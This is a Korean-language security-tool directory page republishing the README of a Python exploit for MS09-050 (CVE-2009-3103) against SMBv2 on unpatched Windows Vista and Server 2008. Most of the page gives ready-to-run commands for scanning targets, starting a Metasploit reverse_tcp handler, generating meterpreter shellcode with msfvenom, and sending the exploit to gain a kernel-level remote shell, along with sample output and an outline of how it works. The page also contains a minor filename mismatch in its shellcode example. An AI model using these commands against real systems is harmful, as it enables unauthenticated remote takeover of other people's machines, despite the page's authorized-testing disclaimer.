Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/bytejmp/ms09-050
Vulnerability ScannersPayload GenerationExploitationShellcodeInformation GatheringPost-ExploitationNetwork SecurityPenetration TestingRed TeamingRemote Access Tool
GitHubbytejmp/ms09-050

MS09-050

13시간 56분 전아직 검토되지 않음

MS09-050 (CVE-2009-3103) SMBv2 srv2.sys 버퍼 오버플로우를 위한 Python 익스플로잇으로, 취약점 스캐너, 아키텍처 자동 감지, x86/x64 리버스 셸 페이로드를 포함합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MS09-050 — SMBv2 원격 코드 실행 익스플로잇

CVE-2009-3103

취약점

Windows Vista와 Server 2008은 새로운 커널 드라이버인 srv2.sys와 함께 SMBv2를 도입했습니다. 이 드라이버는 SMB negotiate 요청의 Process Id High 필드를 검증하지 못합니다. 이 필드에 특수하게 조작된 값을 전송하면, 공격자는 srv2.sys가 제어된 값으로 함수 포인터 테이블을 인덱싱하도록 만들어 공격자가 제공한 주소를 역참조하게 합니다.

그 결과 인증 없이 커널 컨텍스트에서 임의 코드 실행이 가능합니다. 공격자는 포트 445에 접근하기만 하면 됩니다.

Microsoft는 2009년 10월(KB975517)에 이 문제를 패치했습니다. 패치되지 않은 Vista SP1/SP2 또는 Server 2008 SP1 시스템은 취약합니다.

영향을 받는 시스템

대상 OS아키텍처
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

기능

  • 스캐너 모듈: SMB 협상을 통해 대상 OS와 아키텍처를 핑거프린팅하고 취약점 상태를 보고합니다
  • 아키텍처 자동 감지: 스캐너가 아키텍처 정보를 익스플로잇에 직접 전달하므로 수동으로 추측할 필요가 없습니다
  • 내장 페이로드: x86용 meterpreter/reverse_tcp 스테이저가 포함되어 있으며 multi/handler와 함께 바로 사용할 수 있습니다
  • msfvenom 통합: msfvenom을 통해 모든 아키텍처용 페이로드를 생성할 수 있으며, 선택적으로 --msf-payload로 사용자 지정 페이로드를 선택할 수 있습니다
  • 사용자 지정 셸코드 지원: 모든 raw 셸코드 파일을 로드할 수 있습니다 (-s)
  • 구조화된 출력: [+] 성공, [-] 오류, [!] 경고, [*] 정보

설치

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

요구 사항:

  • Python 3.6+
  • rpcclient (smbclient 패키지에 포함), 주입 후 페이로드를 트리거하는 데 사용됩니다
  • msfvenom, --msfvenom 플래그를 사용하는 경우에만 필요합니다

Debian/Ubuntu에서:

root@kitploit:~
sudo apt install smbclient

Arch Linux에서:

root@kitploit:~
sudo pacman -S smbclient

사용법

대상 스캔

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

출력:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

내장 페이로드로 익스플로잇 (x86)

meterpreter/reverse_tcp 스테이저를 사용합니다. 먼저 핸들러를 시작하세요:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

그런 다음 익스플로잇을 실행합니다:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

msfvenom으로 익스플로잇 (모든 아키텍처/페이로드)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

msfvenom으로 익스플로잇 (사용자 지정 페이로드)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

사용자 지정 셸코드 파일로 익스플로잇

raw 셸코드를 한 번 생성하고 msfvenom 없이 재사용합니다:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

그런 다음 익스플로잇에 전달합니다:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

전체 도움말

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

프로젝트 구조

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

작동 방식

  1. 스캐너가 SMB1 Negotiate Protocol Request를 전송하여 대상 OS 버전과 아키텍처를 핑거프린팅합니다
  2. 익스플로잇이 srv2.sys의 버퍼를 오버플로우시키는 잘못된 형식의 SMBv2 negotiate 요청을 생성합니다
  3. sysenter hook 스테이저를 사용하여 커널 컨텍스트에서 초기 코드 실행을 획득합니다
  4. 스테이저가 사용자 모드로 전환하여 제공된 셸코드(리버스 셸)를 실행합니다
  5. rpcclient가 SMB 인증 시도를 시작하여 주입된 코드를 트리거합니다

참고 자료

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

면책 조항

이 도구는 승인된 침투 테스트 및 교육 목적으로만 제공됩니다.

컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 범죄 행위입니다. 이 도구를 어떤 대상에 사용하기 전에 반드시 시스템 소유자로부터 명시적인 서면 허가를 받아야 합니다. 저자는 어떠한 책임도 지지 않으며, 이 소프트웨어로 인해 발생하는 오용이나 손해에 대해 책임지지 않습니다.

이 도구를 사용함으로써 귀하는 다음에 동의합니다:

  • 대상 시스템을 테스트할 서면 승인을 보유하고 있습니다
  • 합법적인 보안 평가의 범위 내에서 운영하고 있습니다
  • 귀하의 행동에 대한 전적인 책임을 수용합니다
  • 모든 관련 법률과 규정을 준수합니다

책임감 있게 사용하세요. 윤리적으로 해킹하세요.

도구 다운로드